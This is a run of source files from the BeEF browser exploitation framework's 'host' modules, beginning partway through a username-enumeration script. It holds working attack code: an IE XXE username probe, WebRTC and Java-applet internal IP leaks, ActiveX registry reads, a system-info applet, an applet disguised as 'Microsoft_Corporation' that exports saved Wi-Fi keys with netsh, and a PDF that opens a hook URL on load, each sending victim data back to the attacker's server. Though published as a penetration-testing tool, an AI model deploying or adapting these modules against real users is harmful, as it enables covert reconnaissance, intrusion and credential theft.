(result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } // Last name + first initial // Format: <LAST><A-Z> for (var i = 0; i < last_names.length; i++) { for (var j = 65; j <= 90; j++) { var user = last_names[i] + String.fromCharCode(j); beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } });
YAML
beef/modules/host/detect_users/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_users: enable: true category: "Host" name: "Detect Users" description: "This module attempts to enumerate valid usernames on the user's system using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl)." authors: ["bcoles"] target: working: ["IE"] not_working: ["ALL"]
Ruby
beef/modules/host/detect_users/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_users < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? save content end end
JavaScript
beef/modules/host/get_battery_status/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery; if (!battery) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "Unable to get battery status"); } var chargingStatus = battery.charging; var batteryLevel = battery.level * 100 + "%"; var chargingTime = battery.chargingTime; var dischargingTime = battery.dischargingTime; beef.net.send("<%= @command_url %>", <%= @command_id %>, "chargingStatus=" + chargingStatus + "&batteryLevel=" + batteryLevel + "&chargingTime=" + chargingTime + "&dischargingTime=" + dischargingTime); });
YAML
beef/modules/host/get_battery_status/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_battery_status: enable: true category: "Host" name: "Get Battery Status" description: "Get informations of the victim current battery status" authors: ["ecneladis"] target: working: ["FF"] not_working: ["All"]
Ruby
beef/modules/host/get_battery_status/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_battery_status < BeEF::Core::Command def post_execute content = {} content['chargingStatus'] = @datastore['chargingStatus'] content['batteryLevel'] = @datastore['batteryLevel'] content['chargingTime'] = @datastore['chargingTime'] content['dischargingTime'] = @datastore['dischargingTime'] save content end end
JavaScript
beef/modules/host/get_connection_type/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var connection_type = beef.net.connection.type(); beef.net.send('<%= @command_url %>', <%= @command_id %>, "connection="+connection_type); });
YAML
beef/modules/host/get_connection_type/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_connection_type: enable: true category: "Host" name: "Get Network Connection Type" description: "Retrieve the network connection type (wifi, 3G, etc).<br/>Note: Android only." authors: ["bcoles"] target: working: C: os: ["Android"] min_ver: 46 max_ver: 47 FF: os: ["Android"] min_ver: 42 max_ver: 42 not_working: ALL: os: ["All"]
Ruby
beef/modules/host/get_connection_type/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_connection_type < BeEF::Core::Command def post_execute content = {} content['Result'] = @datastore['connection'] save content end end
JavaScript
beef/modules/host/get_internal_ip_java/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var applet_uri = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/'; var internal_counter = 0; var timeout = 30; var output; beef.dom.attachApplet('get_internal_ip', 'get_internal_ip', 'get_internal_ip' , applet_uri, null, null); function waituntilok() { try { output = document.get_internal_ip.ip(); beef.net.send('<%= @command_url %>', <%= @command_id %>, output); beef.dom.detachApplet('get_internal_ip'); return; } catch (e) { internal_counter++; if (internal_counter > timeout) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Timeout after '+timeout+' seconds'); beef.dom.detachApplet('get_internal_ip'); return; } setTimeout(function() {waituntilok()},1000); } } setTimeout(function() {waituntilok()},5000); });
YAML
beef/modules/host/get_internal_ip_java/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_internal_ip_java: enable: true category: "Host" name: "Get Internal IP (Java)" description: "Retrieve the local network interface IP address of the victim machine using an unsigned Java applet.<br/><br/>The browser must have Java enabled and configured to allow execution of unsigned Java applets.<br/><br/>Note that modern Java (as of Java 7u51) will outright refuse to execute unsigned Java applets, and will also reject self-signed Java applets unless they're added to the exception list." authors: ["antisnatchor"] target: user_notify: ["ALL"]
Java
beef/modules/host/get_internal_ip_java/get_internal_ip.java
/* * Copyright (c) 2006-2023Wade Alcorn - [email protected] * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.applet.Applet; import java.applet.AppletContext; import java.net.InetAddress; import java.net.Socket; /* to compiled it in MacOSX SnowLeopard/Lion: * javac -cp /System/Library/Frameworks/JavaVM.framework/Resources/Deploy.bundle/Contents/Resources/Java/plugin.jar get_internal_ip.java * author: antisnatchor (adapted from Lars Kindermann applet) */ public class get_internal_ip extends Applet { String Ip = "unknown"; String internalIp = "unknown"; String IpL = "unknown"; private String MyIP(boolean paramBoolean) { Object obj = "unknown"; String str2 = getDocumentBase().getHost(); int i = 80; if (getDocumentBase().getPort() != -1) i = getDocumentBase().getPort(); try { String str1 = new Socket(str2, i).getLocalAddress().getHostAddress(); if (!str1.equals("255.255.255.255")) obj = str1; } catch (SecurityException localSecurityException) { obj = "FORBIDDEN"; } catch (Exception localException1) { obj = "ERROR"; } if (paramBoolean) try { obj = new Socket(str2, i).getLocalAddress().getHostName(); } catch (Exception localException2) { } return (String) obj; } public void init() { this.Ip = MyIP(false); } public String ip() { return this.Ip; } public String internalIp() { return this.internalIp; } public void start() { } }
Ruby
beef/modules/host/get_internal_ip_java/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_internal_ip_java < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_internal_ip_java/get_internal_ip.class', '/get_internal_ip', 'class') end # def self.options # return [ # { 'name' => 'applet_name', 'description' => 'Applet Name', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' }, # ] # end def post_execute content = {} content['Result'] = @datastore['result'] save content BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/get_internal_ip.class') configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true session_id = @datastore['beefhook'] # save the network host return unless @datastore['results'] =~ /^([\d.]+)$/ ip = Regexp.last_match(1) if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser has network interface #{ip}") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip) end end end
JavaScript
beef/modules/host/get_internal_ip_webrtc/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (window.RTCIceGatherer || RTCPeerConnection){ var addrs = Object.create(null); addrs["0.0.0.0"] = false; // Prefer RTCIceGatherer of simplicity. if (window.RTCIceGatherer) { var iceGatherer = new RTCIceGatherer({ "gatherPolicy": "all", "iceServers": [ ], }); iceGatherer.onlocalcandidate = function (evt) { if (evt.candidate.type) { // There may be multiple IP addresses if (evt.candidate.type == "host") { // The ones marked "host" are local IP addresses processIPs(evt.candidate.ip); }; } else { retResults(); }; }; iceGatherer.onerror = function (e) { beef.debug("ICE Gatherer Failed"); beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error()); }; } else { // Construct RTC peer connection var servers = {iceServers:[]}; var mediaConstraints = {optional:[{googIPv6: true}]}; var rtc = new RTCPeerConnection(servers, mediaConstraints); rtc.createDataChannel('', {reliable:false}); // Upon an ICE candidate being found // Grep the SDP data for IP address data rtc.onicecandidate = function (evt) { if (evt.candidate){ // There may be multiple local IP addresses beef.debug("a="+evt.candidate.candidate); grepSDP("a="+evt.candidate.candidate); } else { // No more candidates: return results. retResults(); }; }; // Create an SDP offer rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); retResults(); }, function (e) { beef.debug("SDP Offer Failed"); beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error()); }); }; function retResults(){ var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")]; } // Return results function processIPs(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); beef.debug("Found IPs: "+ displayAddrs.join(",")); beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success()); } // Retrieve IP addresses from SDP function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 addr = parts[4], type = parts[7]; if (type === 'host') processIPs(addr); } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 var parts = line.split(' '), addr = parts[2]; processIPs(addr); } }); } }else { beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error()); } });
YAML
beef/modules/host/get_internal_ip_webrtc/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_internal_ip_webrtc: enable: true category: "Host" name: "Get Internal IP WebRTC" description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from <a href='http://net.ipcalf.com/' target='_blank'>http://net.ipcalf.com/</a>" authors: ["skylined", "xntrik", "@natevw"] target: working: ["C", "FF"] not_working: ["ALL"]
Ruby
beef/modules/host/get_internal_ip_webrtc/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_internal_ip_webrtc < BeEF::Core::Command def post_execute content = {} content['Result'] = @datastore['result'] save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /IP is ([\d.,]+)/ # save the network host ips = Regexp.last_match(1).to_s.split(/,/) session_id = @datastore['beefhook'] if !ips.nil? && !ips.empty? os = BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name') ips.uniq.each do |ip| next unless ip =~ /^[\d.]+$/ next if ip =~ /^0\.0\.0\.0$/ next unless BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser has network interface #{ip}") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, os: os) end end end end
JavaScript
beef/modules/host/get_registry_keys/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var internal_counter = 0; var timeout = 30; var result; var key_paths; function waituntilok() { try { var wsh = new ActiveXObject("WScript.Shell"); if (!wsh) throw("failed to create registry object"); else { for (var i=0; i<key_paths.length; i++) { var key_path = key_paths[i]; if (!key_path) continue; try { var key_value = wsh.RegRead(key_path); result = key_path+": "+key_value; } catch (e) { result = key_path+": failed to retrieve key value"; } beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result); } } return; } catch (e) { internal_counter++; if (internal_counter > timeout) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=Timeout after '+timeout+' seconds'); return; } setTimeout(function() {waituntilok()},1000); } } try { key_paths = "<%= @key_paths.gsub!(/[\n|\r\n]+/, "|BEEFDELIMITER|").gsub!(/\\/, "\\\\\\") %>".split(/\|BEEFDELIMITER\|/); setTimeout(function() {waituntilok()},5000); } catch (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=malformed registry keys were supplied'); } });
YAML
beef/modules/host/get_registry_keys/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_registry_keys: enable: true category: "Host" name: "Get Registry Keys" description: "Retrieves the values of Windows Registry keys using an (unsafe) ActiveX control. Internet Explorer does NOT allow scripting of unsafe ActiveX controls in the Internet zone by default.<br /><br />Note: Each registry key must be placed on a new line." authors: ["bcoles"] target: user_notify: ["IE"] not_working: ["ALL"]
Ruby
beef/modules/host/get_registry_keys/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_registry_keys < BeEF::Core::Command def self.options [ { 'name' => 'key_paths', 'ui_label' => 'Key(s)', 'description' => 'Enter registry keys. Note: each key requires its own line', 'type' => 'textarea', 'width' => '500px', 'height' => '350px', 'value' => 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemProductName HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemManufacturer HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\BIOSVersion HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\BIOSReleaseDate HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ActiveComputerName\\ComputerName HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\RegisteredOwner HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\RegisteredOrganization HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\\ProcessorNameString HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\\Identifier' } ] end def post_execute content = {} content['result'] = @datastore['key_values'] unless @datastore['key_values'].nil? content['fail'] = 'No data was returned.' if content.empty? save content end end
JavaScript
beef/modules/host/get_system_info_java/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var internal_counter = 0; var timeout = 30; var output; beef.debug('[Get System Info (Java)] Loading getSystemInfo applet...'); beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, null); function waituntilok() { beef.debug('[Get System Info (Java)] Executing getSystemInfo applet...'); try { output = document.getSystemInfo.getInfo(); if (output) { beef.debug('[Get System Info (Java)] Retrieved system info: ' + output); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"), beef.are.status_success()); beef.dom.detachApplet('getSystemInfo'); return; } } catch (e) { internal_counter = internal_counter + 5; if (internal_counter > timeout) { beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error()); beef.dom.detachApplet('getSystemInfo'); return; } setTimeout(function() {waituntilok()}, 5000); } } setTimeout(function() {waituntilok()}, 5000); });
YAML
beef/modules/host/get_system_info_java/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_system_info_java: enable: true category: "Host" name: "Get System Info (Java)" description: "This module will retrieve basic information about the host system using an unsigned Java Applet. <br/><br/>The details will include:<br/> <ul><li> - Operating system details</li><li> - Java VM details</li><li> - NIC names and IP</li><li> - Number of processors</li><li> - Amount of memory</li><li> - Screen display modes</li></ul>" authors: ["bcoles", "antisnatchor"] target: not_working: ALL: os: ["iOS", "Macintosh"] user_notify: ["C", "O", "FF", "S", "IE"]
Java
beef/modules/host/get_system_info_java/getSystemInfo.java
/* * Copyright (c) 2006-2023Wade Alcorn - [email protected] * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.applet.*; import java.awt.*; import java.net.*; import java.util.*; public class getSystemInfo extends Applet { public getSystemInfo() { super(); return; } public static String getInfo() { String result = ""; // -- Processor -- // try { // System.out.println("Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())); result += "Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())+"\n"; } catch (Exception exception) { //result += "Exception while gathering processor info: "+exception; result += "Exception while gathering processor info\n"; } // -- Memory -- // try { long maximumMemory = Runtime.getRuntime().maxMemory(); // System.out.println("Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)); result += "Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)+"\n"; // System.out.println("Free memory (bytes): " + Runtime.getRuntime().freeMemory()); result += "Free memory (bytes): " + Runtime.getRuntime().freeMemory()+"\n"; // System.out.println("Total memory (bytes): " + Runtime.getRuntime().totalMemory()); result += "Total memory (bytes): " + Runtime.getRuntime().totalMemory()+"\n"; } catch (Exception exception) { //result += "Exception while gathering memory info: "+exception; result += "Exception while gathering memory info\n"; } // -- Displays -- // try { GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment(); // System.out.println("Default Screen: "+ge.getDefaultScreenDevice().getIDstring()); result += "Default Screen: "+ge.getDefaultScreenDevice().getIDstring()+"\n"; GraphicsDevice[] gs = ge.getScreenDevices(); for (int i=0; i<gs.length; i++) { DisplayMode dm = gs[i].getDisplayMode(); // System.out.println(gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz"); result += gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz"+"\n"; } } catch (Exception exception) { //result += "Exception while gathering display info: "+exception; result += "Exception while gathering display info\n"; } // -- OS -- // try { // System.out.println("OS Name: "+System.getProperty("os.name")); result += "OS Name: "+System.getProperty("os.name")+"\n"; // System.out.println("OS Version: "+System.getProperty("os.version")); result += "OS Version: "+System.getProperty("os.version")+"\n"; // System.out.println("OS Architecture: "+System.getProperty("os.arch")); result += "OS Architecture: "+System.getProperty("os.arch")+"\n"; } catch (Exception exception) { //result += "Exception while gathering OS info: "+exception; result += "Exception while gathering OS info\n"; } // -- Browser -- // try { // System.out.println("Browser Name: "+System.getProperty("browser")); result += "Browser Name: "+System.getProperty("browser")+"\n"; // System.out.println("Browser Version: "+System.getProperty("browser.version")); result += "Browser Version: "+System.getProperty("browser.version")+"\n"; } catch (Exception exception) { //result += "Exception while gathering browser info: "+exception; result += "Exception while gathering browser info\n"; } // -- Java -- // try { // System.out.println("Java Vendor: "+System.getProperty("java.vendor")); result += "Java Vendor: "+System.getProperty("java.vendor")+"\n"; // System.out.println("Java Version: "+System.getProperty("java.version")); result += "Java Version: "+System.getProperty("java.version")+"\n"; // System.out.println("Java Specification Version: "+System.getProperty("java.specification.version")); result += "Java Specification Version: "+System.getProperty("java.specification.version")+"\n"; // System.out.println("Java VM Version: "+System.getProperty("java.vm.version")); result += "Java VM Version: "+System.getProperty("java.vm.version")+"\n"; } catch (Exception exception) { //result += "Exception while gathering java info: "+exception; result += "Exception while gathering java info\n"; } // -- Network -- // try { // System.out.println("Host Name: " + InetAddress.getLocalHost().getHostName()); result += "Host Name: " + java.net.InetAddress.getLocalHost().getHostName()+"\n"; // System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress()); result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n"; // System.out.println("Network Interfaces:"); result += "Network Interfaces (interface, name, IP):\n"; Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces(); while (networkInterfaces.hasMoreElements()) { NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement(); result += networkInterface.getName() + ", "; result += networkInterface.getDisplayName()+ ", "; Enumeration inetAddresses = (networkInterface.getInetAddresses()); if(inetAddresses.hasMoreElements()){ while (inetAddresses.hasMoreElements()) { InetAddress inetAddress = (InetAddress)inetAddresses.nextElement(); result +=inetAddress.getHostAddress() + "\n"; } }else{ result += "\n"; // in case we can't retrieve the address of some network interfaces } } } catch (Exception exception) { //result += "Exception while gathering network info: "+exception; result += "Exception while gathering network info\n"; } return result; } } /* if (beef.browser.isFF()) { var internal_ip = beef.net.local.getLocalAddress(); var internal_hostname = beef.net.local.getLocalHostname(); if(internal_ip && internal_hostname) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname); } } else { //Trying to insert the Beeffeine applet content = "<APPLET code='Beeffeine' codebase='"+beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>"; $j('body').append(content); internal_counter = 0; //We have to kick off a loop now, because the user has to accept the running of the applet perhaps */
Ruby
beef/modules/host/get_system_info_java/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_system_info_java < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info_java/getSystemInfo.class', '/getSystemInfo', 'class') end def post_execute content = {} content['result'] = @datastore['system_info'] unless @datastore['system_info'].nil? content['fail'] = 'No data was returned.' if content.empty? save content BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class') end end
JavaScript
beef/modules/host/get_wireless_keys/command.js
/* * Copyright (c) 2006-2023Wade Alcorn - [email protected] * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ beef.execute(function() { var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/wirelessZeroConfig.jar'; var applet_id = '<%= @applet_id %>'; var applet_name = '<%= @applet_name %>'; var output; beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'wirelessZeroConfig' , null, applet_archive, null); output = document.Microsoft_Corporation.getInfo(); if (output) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+output); } beef.dom.detachApplet('wirelessZeroConfig'); });
YAML
beef/modules/host/get_wireless_keys/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_wireless_keys: enable: true category: "Host" name: "Get Wireless Keys" description: "This module will retrieve the wireless profiles from the target system (Windows Vista and Windows 7 only).<br/><br/>You will need to copy the results to 'exported_wlan_profiles.xml' and then reimport back into your Windows Vista/7 computers by running the command:<br/>netsh wlan add profile filename=\"exported_wlan_profiles.xml\".<br/><br/>After that, just launch and connect to the wireless network without any password prompt.<br/><br/>For more information, refer to http://pauldotcom.com/2012/03/retrieving-wireless-keys-from.html" authors: ["keith_lee @keith55 http://milo2012.wordpress.com"] target: user_notify: ["IE", "C", "S", "O", "FF"]
Ruby
beef/modules/host/get_wireless_keys/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_wireless_keys < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_wireless_keys/wirelessZeroConfig.jar', '/wirelessZeroConfig', 'jar') end def post_execute content = {} content['result'] = @datastore['result'].to_s save content filename = "#{$home_dir}/exported_wlan_profiles_#{ip}_-_#{timestamp}_#{@datastore['cid']}.xml" f = File.open(filename, 'w+') f.write((@datastore['results']).sub('result=', '')) writeToResults = {} writeToResults['data'] = "Please import #{filename} into your windows machine" BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'], @friendlyname, writeToResults, 0) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/wirelessZeroConfig.jar') end end
Java
beef/modules/host/get_wireless_keys/wirelessZeroConfig.java
/* * Copyright (c) 2006-2023Wade Alcorn - [email protected] * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.io.*; import java.util.*; import java.net.*; import java.applet.*; // Keith Lee // Twitter: @keith55 // http://milo2012.wordpress.com // keith.lee2012[at]gmail.com public class wirelessZeroConfig extends Applet{ public static String result = ""; public wirelessZeroConfig(){ super(); return; } public static String getInfo() { return result; } public void init() { if (isWindows()) { String osVersion= System.getProperty("os.version"); if(osVersion.equals("6.0") || osVersion.equals("6.1")){ result=getWindows(); } } else { result = "OS is not supported"; } } public static String getWindows(){ String cmd1 = "netsh wlan show profiles"; String cmd2 = "netsh wlan export profile name="; String keyword1 = "User profiles"; String wlanProfileArr[]; String wlanProfileName; int match = 0; int count = 0; ArrayList<String> profileList = new ArrayList<String>(); try { //Get wlan profile names Process p1 = Runtime.getRuntime().exec(cmd1); BufferedReader in1 = new BufferedReader(new InputStreamReader(p1.getInputStream())); String line = null; //Checks if string match "User profiles" while ((line = in1.readLine()) != null) { //Checks if string match "User profiles" if(match==0){ if(line.toLowerCase().contains(keyword1.toLowerCase())){ match=1; } } if(match==1){ if(count>1){ //If string matches the keyword "User Profiles" line = (line.replaceAll("\\s+$","").replaceAll("^\\s+", "")); if(line.length()>0){ wlanProfileName = (line.split(":")[1]).replaceAll("\\s+$","").replaceAll("^\\s+", "");; profileList.add(wlanProfileName); } } count+=1; } } in1.close(); } catch (IOException e) { } try{ String tmpDir = System.getProperty("java.io.tmpdir"); if ( !(tmpDir.endsWith("/") || tmpDir.endsWith("\\")) ) tmpDir = tmpDir + System.getProperty("file.separator"); //Export WLAN Profile to XML file for(Iterator iterator = profileList.iterator(); iterator.hasNext();){ String profileName = iterator.next().toString(); Process p2 = Runtime.getRuntime().exec(cmd2+'"'+profileName+'"'); //Check if exported xml exists File f = new File(tmpDir+"Wireless Network Connection-"+profileName+".xml"); if(f.exists()){ //Read contents of XML file into results variable FileInputStream fstream = new FileInputStream(f); DataInputStream in2 = new DataInputStream(fstream); BufferedReader br = new BufferedReader(new InputStreamReader(in2)); String xmlToStr; while((xmlToStr = br.readLine()) != null){ result+=xmlToStr; } in2.close(); } } } catch (IOException e) { } return result; } public static boolean isWindows() { String os = System.getProperty("os.name").toLowerCase(); return (os.indexOf("win") >= 0); } /** public static void main(String[] args) { if (isWindows()) { String osVersion= System.getProperty("os.version"); System.out.println(osVersion); if(osVersion.equals("6.0") || osVersion.equals("6.1")){ result=getWindows(); } } else { result = "OS is not supported"; } System.out.println(result); } **/ }
beef/modules/host/hook_default_browser/bounce_to_ie.pdf
%PDF-1.1 1 0 obj << /Pages 3 0 R /OpenAction 4 0 R /Type /Catalog >> endobj 2 0 obj << /Encoding /MacRomanEncoding /Subtype /Type1 /BaseFont /Helvetica /Type /Font /Name /F1 >> endobj 3 0 obj << /Kids [ 5 0 R ] /Type /Pages /Count 1 >> endobj 4 0 obj << /S /JavaScript /JS 6 0 R >> endobj 5 0 obj << /MediaBox [ 0 0 795 842 ] /Contents 7 0 R /Parent 3 0 R /Resources << /Font << /F1 2 0 R >> /ProcSet [ /PDF /Text ] >> /Type /Page >> endobj 6 0 obj << /Length 1708 >>stream app.launchURL("<hookURI>",true); endstream endobj 7 0 obj << /Length 48 >>stream BT ET endstream endobj xref 0 8 0000000000 65535 f 0000000010 00000 n 0000000087 00000 n 0000000209 00000 n 0000000278 00000 n 0000000332 00000 n 0000000513 00000 n 0000002278 00000 n trailer << /Size 8 /ID [ (11f570958af49b794c95ff1c6be3bac5) (11f570958af49b794c95ff1c6be3bac5) ] /Root 1 0 R >> startxref 2381 %%EOF
JavaScript
beef/modules/host/hook_default_browser/command.js
